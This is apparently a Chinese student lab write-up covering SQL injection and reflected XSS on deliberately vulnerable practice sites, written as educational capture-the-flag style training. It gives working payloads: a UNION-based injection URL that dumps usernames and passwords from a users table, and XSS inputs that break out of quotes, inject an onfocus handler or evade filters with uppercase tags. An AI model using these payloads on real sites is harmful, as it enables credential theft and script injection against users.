- Author:ZERO-A-ONE
- Date:2021-05-11
一、实验题目
1.1 SQL注入
目标:通过SQL注入拿到flag
https://sqli.littlefisher.me/Less-1/?id=1
1.2 XSS注入
目标:通过构造xss语句进行弹窗
题目一
http://test.ctf8.com/level1.php?name=test
题目二
http://test.ctf8.com/level2.php?keyword=test
题目三
http://test.ctf8.com/level3.php?keyword=test
题目四
http://test.ctf8.com/level6.php?keyword=test
二、实验原理
SQL是结构化查询语言的简称,目前几乎所有的Web应用在后台都使用某种SQL数据库来存放应用程序数据,当用户访问动态页面时,Web应用会根据用户的输入生成动态SQL语句提交给后台数据库,如果用户数据是一个(恶意)的SQL命令,而Web 应用又未对用户输入进行合法性检查,那么远程用户就有可能在数据库上执行任意命令,例如绕过认证登录网站后台,借助数据库的存储过程进行提权等操作。
由于用户输入数据会使用以下三种方式提交给后台数据库:
GET请求:该请求在URL中发送参数。
POST请求:数据被包含在HTML的请求报文的实体体中。
其他请求:HTTP请求的HEAD 方法、PUT方法等。
因此寻找SQL注入漏洞有一种很简单的方法:通过发送特殊的数据来触发异常。阅读参考链接学习如何构造特殊数据测试目标网页是否存在SQL注入漏洞。
跨站脚本攻击(XSS)通常是指攻击者利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行这些恶意代码。恶意代码通常是JavaScript,也可以包括VBScript、ActiveX、 Flash 或者HTML代码。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页信息、会话和cookie等各种内容。
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的跨站脚本攻击。攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接时,恶意代码会附加在请求的URL中,作为参数提交到服务器,服务器解析该请求,然后将包含恶意代码的响应返回给用户,最后用户浏览器解析此响应并执行恶意代码。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
持久型跨站脚本(Persistent Cross-Site Scripting)等同于存储型跨站脚本(Stored Cross-Site Scripting)。攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
一般意义上的XSS通常可以用简单的方法检测出来:当用户输入的某个参数的全部或其中一部分,原封不动地在服务器返回页面的源代码里出现时,我们就可以认为这个页面存在XSS漏洞。
因为HTML是一种超文本标记语言,通过将一些字符特殊对待以区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title>
与</title>
之间的字符是页面的标题等等。当动态页面的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,而如果这些HTML标签中引入了一段脚本(JavaScript、VBScript等)时,这些脚本程序就会在用户浏览器中执行。
常见的可以自动触发脚本代码的HTML标签(如<scirpt>
、<img>
、<input>
、<details>
等)对应XSS攻击方法,见参考链接。
三、解题过程
3.1 SQL注入
打开网址可以看到
添加id=1正常,id=1’ 报错,根据报错信息可以看出来,输入的内容被单引号括住了
阅读一下网页源代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<!--user: flag -->
<font size='5' color= '#99FF00'>Your Login name:Dumb<br>Your Password:Dumb</font></font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
发现提示<!--user: flag -->
,根据提示构造Payload爆出所有的用户名和密码从而拿到flag
https://sqli.littlefisher.me/Less-1/?id=1%27%20AND%201=2%20union%20select%201,(select%20group_concat(password)%20from%20security.users)%20,(select%20group_concat(username)%20from%20security.users)%20--+
3.2 XSS注入
3.2.1 题目一
访问页面获得如下图所示
进去首先可以看到,没有任何的输入点,而页面上有一个test(用户名),url中也有一个name参数,猜测是将url中的name获取到的值,直接放入页面导致了xss,我们可以先试一下,看看页面上的值会不会根据name参数得到的值而改变
可以发现的确会产生影响
查看网页源代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
可以发现有一个alert的方法,alert()
方法用于显示带有一条指定消息和一个确认按钮的警告框
可以发现只要触发一下alert()
方法即可完成任务,可获得Payload
http://test.ctf8.com/level1.php?name=<script>alert('syc')</script>
执行后显示
这个题目的意思就是因为网页没有对输入进行过滤,可直接给变量name进行赋值,而我们给name修改为了去执行alert()
方法
3.2.2 题目二
这个时候就来到了题目二
老样子先查看网页源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
先找到可疑的点,当我们改变唯一输入点的时候,页面有两处随之改变
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和syc相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="syc">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:3</h3></body>
</html>
尝试之前的攻击手法,没有任何反应
查看一下此时的网页源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script>alert('syc')</script>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert('syc')</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>
观察两者的不同
<script>alert('syc')</script>
<h2 align=center>没有找到和<script>alert('syc')</script>相关的结果.</h2><center>
可以发现<script>
变成了<script>
,在这里已经被转义了,放弃利用,这时候我们看到显示文字区域过滤了<>
,但是input
没有过滤,没有利用成功的原因是没有闭合引号和尖括号
<input name=keyword value="<script>alert('syc')</script>">
至此我们可以构造我们的Payload了
"><script>alert('syc')</script>
3.2.3 题目三
进入题目三
查看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
老样子先试一下原来的payload
观察一下源代码,我们可以发现原来的两处<>
均被转义,所以不能再利用标签
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<script>alert('syc')</script>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script>alert('syc')</script>'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>
<script>alert('syc')</script>
<script>alert('syc')</script>
然后这里如果使用第二题的Payload,则还可以发现"
也被完成了转义
"><script>alert('syc')</script>
<input name=keyword value='"><script>alert('syc')</script>'>
那可以考虑给给input加一个onfocus
事件,当 input 输入框获取焦点时执行一段 Javascript代码,我们就直接在标签内加载js,可选比如说onclick
,onfocus
等。之后测试发现对于等号后面参数会自动添上""
,再就是后面多了一个’
,我们需要使用//
注释掉
' οnfοcus=alert('syc')//
3.2.4 题目四
于是我们顺利来到了题目四
经过多次尝试,href,src,data这些关键字都加下划线了,script、onclick、href都被过滤了,最后得知有一种手法叫大小写过滤
构造Payload可得
"> <SCRIPT>alert('syc')</SCRIPT>
四、实验目的
- 了解SQL注入攻击原理、了解寻找及确认SQL注入点的方法
- 了解XSS的定义,反射型XSS、存储型XSS的区别,常见的XSS攻击手法
- 了解XSS的过滤原理以及常见的XSS绕过技术
五、参考资料
- https://paper.seebug.org/15/
- https://blog.csdn.net/xuchen16/article/details/82785371
- https://blog.csdn.net/qq_34638225/article/details/81269281
- https://xz.aliyun.com/t/4067
- https://xz.aliyun.com/t/2936#toc-12